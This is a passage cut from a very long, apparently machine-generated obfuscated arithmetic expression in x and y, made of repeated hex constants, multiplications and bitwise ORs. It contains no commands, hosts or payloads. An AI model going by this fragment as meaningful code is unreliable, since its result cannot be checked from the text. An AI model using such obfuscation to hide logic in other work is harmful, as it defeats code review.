0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)-(((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(